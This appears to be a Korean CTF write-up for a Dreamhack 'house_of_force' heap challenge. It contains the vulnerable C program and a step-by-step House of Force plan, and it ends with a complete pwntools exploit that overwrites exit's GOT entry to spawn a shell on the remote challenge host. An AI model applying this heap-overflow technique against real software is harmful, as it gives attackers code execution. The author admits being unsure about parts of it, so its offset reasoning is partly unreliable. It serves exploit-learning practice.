code
// gcc -o force force.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
int *ptr[10];
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if( cnt > 10 ) {
return 0;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if(!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
printf("%p: %s\n", ptr[cnt], ptr[cnt]);
return 0;
}
int write_ptr() {
int idx;
int w_idx;
unsigned int value;
printf("ptr idx: ");
scanf("%d", &idx);
if(idx > 10 || idx < 0) {
return -1;
}
printf("write idx: ");
scanf("%d", &w_idx);
if(w_idx > 100 || w_idx < 0) {
return -1;
}
printf("value: ");
scanf("%u", &value);
ptr[idx][w_idx] = value;
return 0;
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
int w_cnt = 0;
initialize();
while(1) {
printf("1. Create\n");
printf("2. Write\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create(cnt++);
cnt++;
break;
case 2:
if(w_cnt) {
return -1;
}
write_ptr();
w_cnt++;
break;
case 3:
exit(0);
default:
break;
}
}
return 0;
}
checksec
exploit 설계
get_shell
함수를 exit_got
에 overwrite하고 main
에서 case 3을 실행하도록 하면 되겠다.create
로 적당한 청크를 malloc해서 해당 주소를 얻어낸다.ptr[0]
과 top chunk의 size
의 offset을 구해서 이를 통해 write
로 top chunk size
에 2^32-1
을 넣는다.exit_got - topchunk_size_addr - 0x8
을 size로 malloc을 한다.get_shell
의 주소를 넣는다.exit_got
이 get_shell
이 된 것이다.1. create(0x10, b'A'*0x10)
ptr[0]
과 top chunk
의 size가 담긴 곳을 찾는다.create(0x10, 'A'*0x10)
heap_addr = int(p.recv(9), 16)
topchunk_size_addr = heap_addr + 20
2. write(0, 5, 0xffffffff)
ptr[0]
에서 4*5만큼 떨어진 부분은 top chunk size
의 주소이다.top chunk
의 size
를 0xffffffff로 조작한다.3. create(malloc_size, b'')
malloc_size
를 나중에 한번 더 malloc하면 exit_got
에 할당되도록 잘 만들어본다.exit_got - (top chunk size의 주소) - 0x8 - 0xa
으로 size를 보내면 된다.0xa
는 0x10으로 힙 청크가 정렬되게 하도록 하기 위함이다..?!4. create(4, p32(get_shell))
exploit
from pwn import *
p = remote('host3.dreamhack.games', 24241)
e = ELF("house_of_force")
get_shell = e.symbols['get_shell']
exit_got = e.got['exit']
def create(size, data):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", str(size))
p.sendlineafter(b"Data: ", data)
def write(ptr_idx, write_idx, value):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"ptr idx: ", str(ptr_idx))
p.sendlineafter(b"write idx: ", str(write_idx))
p.sendlineafter(b"value: ", str(value))
# top chunk 생성
create(0x10, 'A'*0x10)
heap_addr = int(p.recv(9), 16)
topchunk_size_addr = heap_addr + 20
# top chunk size를 2^32-1로 조작
write(0, 5, 0xffffffff)
# exit_got 주소 이용한 size로 malloc
malloc_size = exit_got - topchunk_size_addr - 0x8 - 0xa
create(malloc_size, b'')
# exit_got을 get_shell로 overwrite
create(4, p32(get_shell))
# exit_got -> get_shell
p.sendlineafter(b"> ", '1')
p.sendlineafter(b"Size: ", b'8')
p.interactive()
아직 잘 모르겠다ㅠㅠ